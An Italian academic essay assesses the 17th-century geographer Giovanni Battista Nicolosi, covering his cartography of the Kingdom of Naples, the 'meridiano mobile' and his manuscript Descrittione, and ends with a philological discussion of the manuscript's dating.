Ma se ciò è esatto specie per l’epoca immediatamente successiva, io credo che la ragione vera per cui il nome di questo “reprobo” è rimasto nel dimenticatoio, a parte i tentativi campanilistici di riesumazione, risiede nel fatto che gran parte della sua opera resta ancora sconosciuta, non avendo superato lo stato di manoscritto.
Dispiace pertanto annotare che anche in epoca recentissima il nome del N. venga “saltato” a piè pari, quasi non facesse parte della storia, in due contributi pur ricchi di chiavi interpretative nuove e di felici spunti sulla storia della cartografia e delle conoscenze geografiche (QUAINI,1976, pp. 5-24; TUCCI, 1973, pp. 47-85). Purtroppo la passione ideologica, da qualsiasi banda provenga, comporta – sembra quasi ineluttabilmente – delle forzature interpretative e delle connesse dimenticanze, per cui, deposte le necessarie cautele dello storicismo, ci si arroga il diritto di selezionare a posteriori i nomi determinanti per quella che si vuole la sola storia vera e progressiva.
Il Nostro é rimasto forse vittima di un teorema vizioso (non interessa leggere i suoi inediti perché, tanto, é un retrivo...), per cui non deve esser lecito a nessuno “confinarlo” prima di aver conosciuto i suoi manoscritti. Forti di tale consapevolezza, ci sforzeremo di non cadere nella trappola di separare artificiosamente meriti e demeriti del N., ma cercheremo di darne un profilo unitario e per quando possibile spassionato, in base a quello che è già noto nonché ai nuovi elementi di valutazione emersi da una recente trascrizione fatta, da P. Cantalupo, della Descrittione Geografica del Regno di Napoli (Aversano e Cantalupo, 1987, pp. 413-439), e alle ricerche di Valerio (1993, pp. 63-67).
Il N. é uomo del suo tempo e, date le particolari circostanze della vita e degli uffici che dovette svolgere, non dobbiamo arrossire per quelli che ci sembrano limiti gravi del suo operato e del suo universo mentale, pretendendo che potesse essere altro da quello che realmente fu.
Conviene subito sbarazzarsi, allora, di quella palla al piede che è il suo tolemaicismo. Dire che era un religioso (per ordinazione sacerdotale, ma non meno dell’intimo), ruotante inoltre attorno alla corte pontificia e al potere dell’epoca, o che fu un eccezionale insegnante educatore in tempi in cui gli Otto volumi di Tolomeo, dopo quindici secoli, continuavano a costituire i fondamentali libri di testo in materia geografica, è il minimo di giustizia che gli si possa rendere, non per trovargli delle attenuanti, ma per dovere di storicizzare i personaggi del passato anche nel loro «vissuto» quotidiano. Sia chiaro, non si può ascrivere a merito del cosmografo il suo atteggiamento, ma va tenuto presente che dal punto di vista della geocartografia, da lui praticata, professare il copernicanesimo o il tolemaicismo astronomico era pressoché ininfluente.
Che esista una netta separazione fra geografia e astronomia, il N. ci tiene a sottolinearlo presentando la seconda parte dell’Hercole: «Nella seconda si considera l’istessa Terra secondo la formalità, e la distribuzione, che le ha dato l’Intendimento, e Discorso Humano, restringendo in pochi problemi, e brevissimo discorso tutta la speculazione della Geografia; senza uscire dalla circonferenza de’ principj della medesima: e perciò in questo luogo quegli assiomi, quelle Dottrine, che il Geografo suole pigliare dall’Astronomia, solamente si suppongono (non si dimostrano); già che a questo bisogno supplisce bastamente la Teorica del Globo Terrestre; la quale, piacendo a Dio, si ristamparà accresciuta, et riordinata dal medesimo Autore» (riporto da DI MATTEO, 1977, pp. 56-7). Insistere sui limiti delle discipline è, a mio parere, uno dei tanti segnali (ne vedremo altri) attraverso cui questo prelato dalle mani legate lasciava intendere le sue autentiche profonde convinzioni. E chissà che nella preventiva ma non realizzata ristampa della Teorica l’A. non avrebbe avuto 1’ardire di spingersi oltre!
Di fatto, inoltre, accettando egli col necessario spirito critico e traducendo nelle sue opere cartografiche e descrittive le nuove informazioni che navigatori e viaggiatori riportavano (si noti che ebbe, per converso, parole di rampogna verso coloro che tenevano nascoste le loro scoperte, consapevole che il sapere deve essere patrimonio di tutti) mostrava di essere proiettato più di quanto non si pensi verso il futuro, di aver interiorizzato la fondamentale veste umanistica dell’homo faber (accetta infatti l’influsso degli astri per la parte biologica, non per quella spirituale dell’uomo), restituendo sul piano pratico il mal tolto su quello dei “massimi sistemi”.
Alla metà del Seicento, com’è noto, era vivo il problema tipicamente rinascimentale di accordare la teoria con la pratica, l’astrazione e la sistemazione da tavolino coi risultati dell’osservazione diretta, la «mente» con la «vista». Sul versante geocartografico la soluzione non poteva essere elusa o rinviata, visto che i soli committenti di rappresentazioni-descrittive del territorio erano i detentori del potere politico o religioso, pressantemente interessati ad avere prodotti sempre più affidabili e aggiornati. Proprio su questo piano il N. acquisì dei meriti, cui non era estranea la conoscenza (anzi l’adorazione) di Tolomeo per quello che rappresentava, in senso progressivo, sul piano cartografico: una sicura base matematica e astronomica per scientifizzare la cartografia empirica. Ma di ciò a fra poco.
Per concludere sull’argomento cosmografico, non dimentichiamo che il geografo siciliano era comunque un ammiratore dell’opera rivoluzionaria che proprio in quegli anni il Galilei andava compiendo nel campo degli studi astronomici, come risulta da una lettera diretta al conte di Navailles, che è poi un trattatello (Breve ristretto del pensiero del Signor Galileo Galilei intorno al flusso, et reflusso del Mare). In proposito è lecito condividere il parere del Savasta: «Qui il Nicolosi segue puramente e semplicemente le teorie copernicane, benché non come tesi ma come ipotesi [...] Ma [...] lo fa con sennate parole che mostrano il suo attaccamento alla Chiesa e il suo amore alla scienza; moderazione, la quale non influì forse meno al trionfo della verità di quel ch’abbia fatto la virulenza scusabile del sommo Astronomo» (SAVASTA, 1898, p. 93).
Ma a parte il forzoso escamotage del verbo «suppongo» al posto di «affermo», attraverso cui ci giunge chiaro il messaggio nicolosiano altrimenti inconfessabile, c’è di più: egli non tralasciò di studiare le opere del Galilei e, anzi, di una di esse (il cosiddetto Trattato della Sfera) diede una trascrizione manoscritta prima ancora che fosse ufficialmente dato alle stampe, trascrizione che fra l’altro si rivelò utile per una edizione delle opere di quello scienziato uscita dal 1891 (SAVASTA, 1898, p. 125). Sulla effettiva mano che ha stilato il testo galileiano bisognerebbe comunque indagare per accertare se questa «presenza» non si debba a qualcuno che, mosso da caritevoli intenti, abbia voluto predisporre per i posteri dei contrappesi al tolemaicismo del Nostro. Ci sarebbe anche da indagare se fra le argomentazioni a sostegno della necessità di collocare il nord in alto sulle carte (cfr. Lettere al Duca di Bracciano Paolo Orsini del 24 giugno 1648) non ci sia un’implicita ma riconosciuta – e non solo supposta – accettazione del moto di rotazione terrestre.
Si è già detto del problema, teorico e applicativo, esistente a metà del XVII secolo ma posto sul tappeto dalla cultura umanistica, della conciliazione fra speculazione teorica e osservazione empirica. Orbene, si può affermare che, per naturale versatilità e per la particolare biografia prodotta dai tempi e dalle circostanze, il N. rappresentò complessa sintesi del «corografo umanista» alla Leandro Alberti e del «cartografo ufficiale di Stato» tipo Magini.
Anzi si potrebbe sostenere che il N. sia stato qualcosa di più che il semplice risultato intermedio di una dialettica che, attraverso l’esperienza illuministica mirata a risolvere problemi della società civile e della «felicità pubblica» e il tentativo ottocentesco di appianare finalmente il contrasto fra la geografia dotta e quella empirica, si protrarrà fin quasi ai nostri giorni. Egli ci ha messo del suo, passando non inerte attraverso questa problematica e dando una spinta originale e progressiva. Mi pare cioè che il principio di far precedere insieme teoria e pratica abbia anche un risvolto moderno, nel senso che il N. non cercò solo di assorbire il nuovo delle vecchie teorie, ma anche di organizzare in sistema inedito la messe delle acquisizioni fatte.
Senza dubbio, quando si guarda a questa biografia, a questa personalità ligia al “sistema”, al contenuto di alcuni suoi scritti, sembra di trovare la conferma delle motivazioni che hanno alimentato le polemiche degli anni ‘70 del secolo scorso sulla «Geografia degli Stati maggiori e dei professori». All’origine di tali polemiche, com’è noto, ci fu tutto un nuovo modo di far geografia, che si espresse in una ricca letteratura e precisi punti di riferimento (mi limito, in proposito, a segnalare: LACOSTE, 1977. Si veda anche il n. 0 della rivista Hérodote Italia, filiazione italiana della omonima rivista francese, della Bertani Ed., Verona, 1978, e i successivi numeri).
Uno che disegna carte su committenza di regnanti (affrettandosi a finire il prodotto in occasione di operazioni belliche), di papi (per svolgere opera missionaria in paesi lontani), che più volte dichiara esplicitamente il fine militare del suo lavoro (fra i tanti esempi, basti ricordare che, nella dedica della Descrittione del Regno di Napoli, egli offre le sue tavole commentate «representanti il detto Regno nella qualità di come possa essere offeso, et difeso estrinsicamente, ed intrinsicamente»), che privilegia certe informazioni utili alla difesa, all’ordine interno, al prelievo fiscale, alla religione (intesa «in temporalibus» più che in «spiritualibus»), che compone volumi sull’arte militare o descrive con accuratezza gli equilibri politici e di forza fra i vari stati europei, pare riassumere in sé tutto quanto di male ancora si afferma su certe istituzioni (multinazionali, gerarchie militari, cattedre universitarie, ecc.).
Il fatto è che, se non fosse esistita quella geografia, con tutti i suoi limiti e le sue compromissioni, non ci sarebbe stato forse più niente su quell’orizzonte ed oggi non avremmo neppure con chi prendercela, giustamente o ingiustamente che sia. A volersi disporre secondo certe angolazioni polemiche, il discorso sarebbe già chiuso. Si ha invece il dovere di capire, sforzandosi affinché la critica del passato non sia sterile. E, per restare al N., anziché accusarlo soltanto, sarà più utile scoprire come abbia cercato di risolvere il problema, ancor oggi scottante per chi fa professione di geografo, del rapporto col potere e con la società degli uomini, quindi dei limiti ed utilità della geografia. La mia impressione, confortata anche dalla sua solo apparentemente granitica tolemaicità, è che egli abbia cercato di sfruttare tutti i margini di libertà, pur esigui, consentitigli dal contesto culturale e dalla posizione di precettore, geocartografo di Stato, diplomatico, prelato, scienziato ufficiale.
Egli vuole offrire, col suo prodotto grafico e descrittivo, «Notitie opportunissime in un Conseglio di guerra (e di Stato) per tirare conseguenze fondate, et per fare provisioni bene accertate», ma ci tiene pure a dire che queste conclusioni non è il geografico a doverle trarre. Più oltre, infatti, si legge: «Tanto sia detto per quello, che della difesa del Regno di Napoli si contiene dentro la Sfera della Geografia (Tirare cento altre affini et importanti conseguenze è carico di chi preside, et di coloro che attendono al governo». Come dire che il geografo può pure rispondere a una ben precisa e finalizzata committenza, ma il suo compito è nettamente separato (anche eticamente: quanto i biografi riportano sull’animo mite e la religiosità del Nostro autorizza a supporlo) da quello degli strateghi, amministratori o responsabili della cosa pubblica.
Ma c’è un altro aspetto che bisognerà mettere in conto quando, anche con tutta la buona fede, si condanna “l’occhio del potere”: la paurosa ignoranza di aggiornate cognizioni territoriali, che sembra quasi una costante nel tempo. Per il XVII secolo se ne ha piena conferma scorrendo la Descrittione geografica del Regno di Napoli, che è un assemblaggio di notizie faticosamente raccolte – lo si avverte – e ben lontane dal constituire un discorso organico, un quando completo e ragionato della geografia viceregnale e provinciale.
È sconcertante anzi rilevare che della carta, presumibilmente maginiana o del Cartaro, della provincia di Bari mandata in schizzo agli informatori periferici, il Nostro ignora cosa siano oggetti geografici segnati in rosso e (madornale!) non conosce l’esistenza delle Murge, o, meglio, non sa a chi credere: se a certe figurazioni riportanti «un ramo del Monte Appennino» snodantesi dai confini della Basilicata fino alla Terra d’Otranto o alla pur diffusa opinione che in quella provincia non ci sono montagne. Alla ignoranza delle fattezze continentali del territorio faceva contrappunto la povertà di conoscenze della nautica mediterranea, cartografica e portolanica: è lo stesso autore a dichiararlo, quasi come alibi al suo scarso contributo scientifico a riguardo.
Anche all’attuale si riconosce la disinformazione della «geografia dei professori». Se questo è vero, la connivenza anche inconscia col potere è un’accusa almeno parzialmente contraddittoria. Più verosimile è forse che lo sforzo di chi produce conoscenza è un valore che va al di là di una visione dei rapporti umani limitata alla dialettica sfruttatori-sfruttati, rispondendo a bisogni più profondi e in parte disinteressati dell’essere umano (esclusi gli uffici-studio di certe società o simili). Se il N. e tanti altri hanno avuto a disposizione un canale obbligato per far progredire il sapere, perché mai giustiziarli soltanto e non considerarli almeno per gli apporti positivi forniti?
In tale ottica è apprezzabile, se non altro perché ha fatto testo per il futuro (costituendo ancor oggi fondamento metodologico del fare e dell’insegnare geografia), l’abbinamento nicolosiano fra descrizione esplicativa e rappresentazione cartografica. Anche la triplice distinzione della nostra disciplina in matematica, fisica e politica risale al N., quanto meno in termini di consolidamento di opzioni precedenti. Egli costituì infatti una presenza attiva, un vero centro di raccolta, selezione critica, rielaborazione e divulgazione delle conoscenze più varie, bisognevoli talvolta di severo controllo critico.
Ne fa fede l’escogitazione del meridiano mobile, un sistema per l’immediata individuazione dei luoghi nulle carte di qualsiasi scala, che resta valido nella sostanza e universalmente accettato in tutti gli atlanti attuali (vedi oltre per approfondimenti); e così pure il perfezionamento in senso policonico della proiezione globulare (all’epoca già adottata), realizzato attraverso l’introduzione di paralleli circolari, sì da attenuare le deformazioni del disegno dovute alla traduzione in piano della superficie terrestre che è sferica (DI MATTEO, 1977, p. 59). Della effettiva validità di tale modifica tecnica fanno fede le opere di geografi successivi anche rinomati, che si servono della proiezione globulare del N., come i francesi Pietro Duval e Guglielmo de l’Isle, nonché l’inglese Arrow Smith.
Queste novità possono sembrare poca cosa solo a chi non ha senso della storia e del faticoso cammino della scienza, ma se rapportate ai tempi assumono una rilevanza ben più pregnante.
L’analisi dal punto di vista geografico della Descrittione del Regno di Napoli e della parte speciale dedicata al Principato Citra, come si può desumere dal commento più segnatamente filologico che segue, sembra confermare positivamente le valutazioni e le impressioni fin qui esposte, consentendo ulteriori riflessioni. Dalla lettura non ho ricavato la conclusione che si tratti di un discorso consequenziale ed organico, sia perché siamo in presenza di un lavoro incompleto nonostante le tre mani successive, sia perché i manoscritti sono stati raccolti disordinatamente. Un indirizzo espositivo si riesce comunque a ricavare e, con esso, il funzionamento del laboratorio mentale e pratico del Nicolosi.
La Descrittione copre larga parte dello scritto discorsivo riportato alle stampe da chi scrive e dal Cantalupo (1987) e, nei limiti già annotati, contiene tuttavia non pochi elementi conoscitivi, offrendo anche alcuni spunti interessanti. Viene ripetuto, intanto, quel luogo comune – che ha tanto pesato sulla comprensione realistica della questione meridionale e contro cui si scagliò Giustino Fortunato – di un reame baciato dalla natura ed invidiabile per estensione, clima e suoli, tanto da produrre «da per tutto [eccellentemente] e in abbondanza, grazie anche a molti ed eccellenti abitanti». Ma pure in questo caso occorre segnalare come apprezzabile cautela di uno spirito critico che talora sa anche fare a meno dell’iperbole seicentesca per non mancare di rispetto alla verità, il particolare attinente alle conclusioni: prima esse sono tratte partendo da quelle premesse («e perciò è ricchissimo») e poi ritirate dal testo.
Poco è concesso alla geografia fisica, che sembra anzi quasi ignorata (due righe per dire che esiste l’Appennino con molti fiumi piccoli e grandi sfocianti nei mari Inferiore, Superiore e Ionio), mentre sono riportate con precisione: distanze fra vari punti, stati confinanti, divisione amministrativa, massimi organi giudiziari, numero di città, terre e castelli (quasi tutte feudali, poche regie, avverte l’A.), di chiese cattedrali, di vescovadi e arcivescovadi fondati appena da un secolo, con molti dettagli sulle entrate fiscali ordinarie e straordinarie pagate alla Regia Corte o sulla struttura burocratico-amministrativa. Se ne ricava uno spaccato della società tale che, nella dialettica regnanti-baroni-popolo è quest’ultimo a soccombere già solo in termini fiscali, giacché le cosiddette terre franche sono esenti da tributi solo per i feudatari, i quali – dice il N. con un pizzico di risentimento non saprei se più democratico o lealista – «se l’appropriano» e «l’esiggono, come di propria ragione per l’arbitrio che hanno... ».
Aggiornati appaiono i dati sulla popolazione che il N. ebbe forse modo di conoscere prima che fossero ufficialmente pubblicati (in totale 3.000.000 di regnicoli), decimata dopo la peste del 1656 di più di una quinta parte, di cui 200.000 morti solo nella capitale (e casali), che annoverava in precedenza 600.000 anime. Come arricchimento del dibattito sul rapporto fuochi/abitanti e sul «moltiplicatore» da scegliere, si può calcolare, dai dati offerti dal N., che il fuoco era costituito da circa 5 anime.
La massa delle informazioni si completa, sul piano esclusivamente militare, col numero di fanti e cavalieri (60.000 esentasse!), quindi delle fortezze reali concentrate sull’Adriatico, delle torri costiere, dei porti ricettivi di armata navale (equamente distribuiti fra il Tirreno e gli altri due mari), con la consistenza del presidio ordinario e il numero di legni. Brevi righe sono concesse, infine, alle quattro strade reali che dallo Stato della Chiesa immettevano nel Regno di Napoli e a quella che da Francavilla [Fontana] porta a Napoli: la descrizione ha alcunché degli itineraria adnotata romani, informando sulle tappe successive (coi tempi di percorrenza), sulla grandezza dei centri attraversati, sulla presenza di osterie, alberghi, stalle, ecc. Schematizzato come un grafo è il percorso del procaccio «da Napoli a Civita di Chieti, e l’Aquila», che attendeva forse di essere stilato nella stessa forma discorsiva dei precedenti itinerari. Nel ms. della Casanatense tali descrizioni, pur succinte, sono forse presenti per tutte le strade principali del Regno, per cui sarebbe interessante riportarle alla luce.
La restante parte della trascrizione fatta dal Cantalupo riguarda l’esplicazione dei criteri con cui il N. ha cartografato il reame e una serie di istruzioni agli informatori periferici (presidi di provincia, vescovi, persone dotte, ecc.) circa i dati che gli devono fornire, il tutto inframezzato da circonvoluti e untuosi – ma tipicamente seicenteschi – atti di omaggio ai committenti. È qui che si accenna anche a carte nautiche fatte per mostrare «tutte le corse marittime fatibili da squadre navali a favore, et contra», in un momento in cui era ripreso il conflitto franco-spagnolo dopo il trattato di Westfalia del 1648 (VALERIO, 1993, p. 64). Vi si esemplifica anche l’uso del meridiano mobile, la cui invenzione – è da supporre – fu stimolata forse dalle necessità pratiche di quella guerra.
Le istruzioni, in realtà, ribadiscono i criteri di esecuzione che si ricavano dall’esame delle cose realizzate dal geografo paternese, ma aggiungendo particolari di una certa importanza. La base del lavoro, come ragionevolmente si presume, dovette essere la carta del Magini (o forse del Cartaro), inviata probabilmente in schizzo agli informatori. Il N. desiderava che essa fosse migliorata o rettificata con il riporto grafico dei siti o (quando i corrispondenti non erano pratici di disegno) con l’indicazione delle miglia intercorrenti fra l’uno e l’altro abitato, utilizzando simboli particolari (ancora oggi in uso, magari con significato diverso) per città murate, abbazie e castelli, indicando le abbazie nullius, scogli, isolotti, torri, distanze dei vari luoghi dalla cita cattedrale, strade battute dai procacci, distanza delle «poste» e delle città principali fra loro, porti, loro commercio, «bandiere» delle navi che li frequentavano. Rendendosi conto delle difficoltà dei suoi interlocutori per esaudire in tempi brevi tutti i suoi desiderata, il geografo insiste sull’esigenza primaria della localizzazione degli oggetti geografici, punto sul quale attende pronta risposta.
A tal proposito il N. non precisa se le distanze siano da considerare in linea d’aria o per strada, ma si dimostra fiducioso che 1’incastro creato dalla posizione di ciascun abitato denunci automaticamente gli eventuali errori. Se si pensa che il problema fu anche quello di conciliare, nel suo reticolato, posizione relativa e posizione astronomica dei luoghi, si ha l’idea di quali difficoltà tecniche egli dovette superare. Non si può, quindi, disconoscergli rigore scientifico e spirito moderno nel porre come pregiudiziale il dato localizzativo, ancora ritenuto essenziale nella geografia moderna, perché implicito nel principio di osservazione. Che le esigenze militari (tiro d’artiglieria, trasferimenti delle truppe da luogo a luogo, ecc.) abbiano indotto il Nostro a tanto sforzo di precisione non gli toglie certo meriti.
Fra l’altro, il N. non manca di chiedere una breve illustrazione sulla «singolarità» dei luoghi, dandone qualche esemplificazione, del tipo di quelle ben più articolate descrizioni dei centri dell’Isola e Regno di Sicilia che si possono leggere nell’appendice al volume del Di Matteo (1977, pp. 94-104). Qui le concessioni storico-antiquarie sono parecchie (non manca mai il nome latino dei centri, quando noto), ma è anche implicito il criterio idiografico cui si è ispirata tutta la geografia regionale fino ai nostri giorni. Sarebbe interessante studiare più a fondo quanto questi prototipi descrittivi abbiano fatto testo in seguito, specie nelle voci di certi dizionari (Sacco, Giustiniani, ecc.), arrivando alle enciclopedie moderne.
Non si può tacere, infine, una richiesta informativa riguardante i fondi rustici: si accerti chi è il possidente, quale «la distanza dalla Città, o Terra del suo Territorio, con notarvi di quelli si può sapere se il feudo consiste nel puro terreno fruttifero, overo vi è habitazione, o Casale». E certo, dunque, che se il N. avesse potuto completare la sua opera, avremmo avuto un quadro preciso di tutti i centri o nuclei abitati nel regno, nonché della distribuzione della popolazione, compreso lo stato di vitalità di alcuni insediamenti successivamente scomparsi.
Per quantità e qualità di informazioni, la parte descrittiva della relazione sul Principato Citra è abbastanza deludente, riducendosi a una ventina di righe, in cui schematicamente si annotano i confini, fiumi principali (solo il Battipaglia, cioè l’attuale Tusciano, e il Selo), monti (limitati a quelli di Postiglione e di Capaccio), populationi (= centri), con l’elenco delle sedi arcivescovili e vescovili, fortezze, torri alla marina, fuochi al 1669 e relative entrate fiscali, diversi introiti per adoa e arrendamento dei baroni, per affitti di passi, estrazioni di botti ed altri legnami. Notizie succintissime, come si vede, a prevalente carattere militare, fiscale e religioso. È invece assai interessante, come più diffusamente si metterà in rilievo nel Commento che segue, l’elenco delle località, con le coordinate, 1’indicazione dei fuochi al 1595 e al 1669 e tutta una serie di altre informazioni relative a vescovadi, tipi di giurisdizione, torri, fiumi, capi, golfi, porti, ripari, isolotti.
A margine sono segnati i casati cui erano infeudati i luoghi, un dato assai utile per capire la storia e la geografia dei centri, ma che i geografi hanno in genere sottovalutato, privilegiando statistiche demografiche e attività economiche caratterizzanti. Quanto invece sia stata condizionante per l’organizzazione del territorio la presenza feudale lo dimostra, per il nostro principato, il fatto che ben 149 località su 250 (il 60% circa) sono sotto la giurisdizione di un barone.
Assai apprezzabile è anche la deliberata scelta del N. di riportare più trascrizioni toponomastiche dello stesso insediamento (es.: Rutino, o Rotino; S. Arseri, o S. Arziero; S. Mango Pedimonte di Salerno, o S. Mango Pimonte prope Salernum) per consentirne la più esatta identificazione. In tempi in cui si era passati dall’elencazione fatta per ordine geografico a quella alfabetica, si poteva ancora più facilmente incorrere in errore, confondendo sedi umane diverse, ma fra loco somiglianti nei nomi. Errori simili, purtroppo, ancor oggi è dato riscontrare presso studiosi che li ripetono acriticamente dalle fonti, per nulla preoccupati dalla precisione ubicativa, come se la verità storica potesse prescindere da quella topografica e topologica: la pignoleria nicolosiana è un esempio quanto mai educativo a riguardo.
È lecito attendersi, quindi, un notevole contributo alla toponomastica, una volta che saranno rese a stampa le numerazioni dei fuochi per tutte le province, come si auspica. Aggiungo che tanta precisione si rivela utile anche per individuare alla data del 1669 alcune sedi oggi considerate scomparse, che già allora difettavano di abitanti, pur figurando in qualche caso possedute da feudatari (ad es.: Fiumicello, Montanaro, Pantoliano, Puglisi, Torricella e perfino Pesti), oppure erano in via d’estinzione (S. Severino di Cammarota) magari per inglobamento in centri vicini urbanisticamente espansivi (Spio).
Certo, se si compara l’apporto e l’approccio del N. a quelli di epoca illuministica, si avvertirà l’assenza di impegno civile, di preoccupazioni dello stato del pubblico benessere, né si troverà nella descrizione del territorio il fine sociale di ben governarlo. Ciò non vuol dire che gli fece difetto la tensione etica, l’impegno scrupoloso nel proprio lavoro. Agli esiti illuministici, del resto, si arriverà anche attraverso il geografo siciliano. La sua esperienza può essere ritenuta, infatti, una tappa di avvicinamento, un necessario punto di raccordo fra tradizione e innovazione, per il senso della «aggiunta» al sapere precedente da lui dimostrato e la finalizzazione applicativa (benché dettata da esigenze militari e fiscali), oltre che per la cultura pluridisciplinare dimostrata, pur coi limiti del gusto antiquario.
Un’ultima riflessione: forse ai lettori di questa scheda sembrerà riscontrare un soverchio entusiasmo per l’A., che ha comportato una eccessiva valorizzazione della sua incidenza storica; sarà anche vero, ma risponde all’intento di creare un opportuno antidoto a una precedente penalizzazione del N., che può far recuperare nei suoi confronti la spassionata disponibilità sempre necessaria alla comprensione del passato.
Se veri limiti interpretativi ci sono in queste pagine, crediamo, essi dipendono piuttosto dalla mancata conoscenza di tutto il corpus delle opere dell’illustre siciliano. È possibile superare quei limiti solo dando alle stampe i manoscritti della Casanatense, in modo da arrivare a un’edizione critica di tutti gli scritti nicolosiani. Potrebbe emergere qualcosa di più e di meglio – ripeto – di quanto finora non si sappia. Il discorso è riaperto: tocca ad altri – geografi solo per la loro parte – continuarlo.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Un abbozzo esplicativo di un disegno e di tre matrici di fogli, attribuibili al Nicolosi, si trova in Valerio, 1993, pp. 65-66, dove compaiono anche le relative illustrazioni.

Fonti d’archivio:

Bibliografia:
Lettere al Duca di Bracciano Paolo Orsini del 24 giugno 1648.

Rimandi ad altre schede: fatto quest’ultimo che non deve meravigliare visto le possibilità di informazioni del Nicolosi e quanto egli stesso scrive nelle aggiunte del 1669 sulla necessità di aggiornare il più possibile i dati feudali. Da tutte queste osservazioni appare sufficientemente dimostrato che anche l’intervento C é di mano del Nicolosi e che il nome di Medinaceli è riportato erroneamente per Medina de Rioseco; scambio possibilissimo ove si consideri che nella seconda metà del Seicento tra le diverse case ducali spagnole che si intitolavano dalle varie Medina della penisola iberica (Medinaceli, Medina de las Torres, Medina de Rioseco, Medina-Sidonia) senz’altro la più famosa in Italia era quella di Medinaceli, di cui il più prestigioso rappresentante era stato fino a quel tempo Juan II de la Cerda, duca di M., viceré e capitan generale di Sicilia e dell’esercito cristiano d’Africa (1557-65). Cosicché la committenza sarebbe avvenuta negli anni 1644-46, prima dell’elezione di Leopoldo I ad imperatore, come risulta dalla dedica; che poi la notizia sia stata aggiunta al testo solo nel 1669, si spiega con la necessità di completare l’opera anche sotto l’aspetto della motivazione esterna. Questo spiega anche perché tutta l’opera, che è di premessa e di supporto alle tavole geografiche, è anche improntata ad un’attenta analisi dei fatti militari e dei problemi della difesa navale delle coste, con l’esame della possibilità dei singoli porti sia sotto l’aspetto della sicurezza che della capacità. Nella descrizione generale del Regno, diverse annotazioni restano prive di quello sviluppo che avrebbero certamente avuto a lavoro ultimato: se dobbiamo anche imputare alla dispersione di fogli del manoscritto qualche lacuna nell’opera, quale il paragrafo sulla Genealogia de’ Re, di cui è notizia nel f. 101, certamente la parte riguardante gli itinerari stradali è monca perché non portata a compimento. Del resto il tono programmatico di una parte dell’intervento del 1669, l’ultimo in ordine di tempo, lascia chiaramente intendere che sia la parte cartografica sia il «Libretto» non avevano ancora raggiunto la loro conclusione. Il Nicolosi, come già accennato, afferma di aver adottato per la compilazione delle tavole il Meridiano mobile, nuovo, a suo dire, consistente essenzialmente nel riporto lungo i margini della carta geografica della latitudine e della longitudine espresse in gradi e minuti, punti di partenza per individuare agevolmente sulle tavole i singoli centri. I1 meridiano mobile, infatti, non é altro che il criterio in base al quale un determinato punto sulla carta geografica é costantemente individuabile facendo riferimento all’intersezione delle linee che rappresentano i meridiani ed i paralleli. Tale principio era implicitamente contenuto nella cartografia precedente il Nicolosi, in quanto le rappresentazioni cartografiche recavano già lungo i margini le indicazioni circa la longitudine e la latitudine, divise in gradi e minuti; spetta però al Nostro l’aver intuito la possibilità di utilizzare sistematicamente la maglia degli intrecci fra meridiani e paralleli per facilitare la ricerca dei luoghi, fissandone il metodo ed integrando le carte con elenchi alfabetici delle località, seguite dagli estremi delle coordinate geografiche necessarie alla loro individuazione. La prima parte dello scritto chiude con la dedica dell’opera al re d’Ungheria Leopoldo I, eletto poi Imperatore germanico nel 1658, qui fatto oggetto di sperticata adulazione cortigiana secondo il costume dell’epoca. In calce vi è una prima datazione: Roma, 30 novembre 1655; poi sostituita dalla data: 2 febbraio 1666, che il Geografo appose dopo essere intervenuto sulla prima stesura, aggiungendo, correggendo e modificando il testo, così come lo rimaneggiò ancora nel 1669, poco prima della sua morte, seguita, come anzidetto, ai principi dell’anno successivo e che gli impedì di portare a completamento l’opera. Quasi certamente la prima redazione di quest’opera, quella del 1655, accompagnò l’offerta a Filippo IV ed a Leopoldo I di due copie della Carta del Regno di Napoli realizzato nel 1654, circa la quale lo stesso Nicolosi (Guida allo studio geografico, 1662, in prefazione) ricorda:...nell’anno 1654 con l’occasione della Guerra, costrussi una Descrittione del Regno di Napoli, spiegata in una ricca Tavola della grandezza, e misure di dodici, et otto palmi; e della quale un esemplare fu drizzato a Sua Maestà Cattolica, e l’altro alla Maestà Cesarea hoggi regnante, all’hora Re d’Hungaria. Il testo, proprio a motivo di questi successivi rimaneggiamenti, che comportarono cancellature, sovrapposizioni di scrittura, annotazioni marginali nonché richiami ad altre pagine, si presenta di difficile ricomposizione, anche perché la raccolta delle carte, fatta dopo la scomparsa del Nicolosi, non fu operata criticamente, tenendo conto dei richiami appostivi dell’autore, che avrebbero potuto guidare una più oculata disposizione della sequenza dei fogli nel corpo dell’attuale volume miscellaneo. Pertanto le pagine che interessano la prima parte del Trattato sui Regno di Napoli, così come vi si trovano collocate, raggruppate solo dall’argomento, rendono difficile al lettore ricostruire la successione logica all’interno del testo. È evidentemente questo il motivo per cui il contenuto dello scritto é stato in parte frainteso. Il Savasta (1898, p. 7) fu il primo a scrivere che la Descrizione fu ... offerta all’Imperatore Leopoldo I, e poi successivamente, tre volte rifatta, ai tre Viceré, il Conte del Castrillo, quello di Pignoranda, e il Cardinal d’Aragona, dandoci con quest’ultima una notizia del tutto destituita di fondamento. Ma, mentre egli si preoccupa di precisare più oltre (ivi, p. 58) che Leopoldo I era allora soltanto Re d’Ungheria, la proposizione è accolta acriticamente dal Giardina (1925, p. 30), che scrive testualmente ed univocamente: dedicata all’Imperatore Leopoldo I, e due volte ripetuta per altri due personaggi (!?). Lasciamo da parte alcune altre gratuite e fantasiose affermazioni dello stesso Giardina, quali (ibidem): Le due operette (cioè la Descrizione dello Stato Ecclesiastico e quella del Regno di Napoli) constano delle carte dei due paesi e dei relativi libretti illustrativi; La scrittura del primo manoscritto (il 674!) non è del Nicolosi; I nomi delle varie province (del Regno di Napoli) vi sono scritte in italiano e in ispagnuolo; anche la Spinelli (1930, p. 352) insiste sull’indimostrato assunto del Savasta, cioè che dopo la prima edizione della carta, nel 1654, ...ne seguirono altre, essendone stati presentati degli esemplari ai posteriori Viceré, Conte di Castrilli (sic!), Conte di Pennaranda (sic!), Cardinale Pasquale d’Aragona. La stessa poi, accennando al duca di Medina, lo identifica senz’altro col Medina viceré di Napoli dal 1637 al 1644, senza neppure sfiorare il problema posto dal fatto che nel testo in questione é indicato un Medinaceli, che fu viceré dopo la morte di Nicolosi, come già ricordato. Ultimo in ordine di tempo, il Di Matteo (1977, p. 33) afferma anch’egli gratuitamente che il nostro geografo, eseguita la Descrizione, la stessa successivamente rielaborò per i viceré conte del Castrillo e conte di Pignoranda e per il cardinale d’Aragona. A ciò si é cercato di ovviare ricomponendo con paziente lavoro filologico sia la prima parte del Trattato sia la sezione riguardante il Principato Citra in un’edizione critica, che si spera abbia rispettato pienamente la volontà dell’autore, a 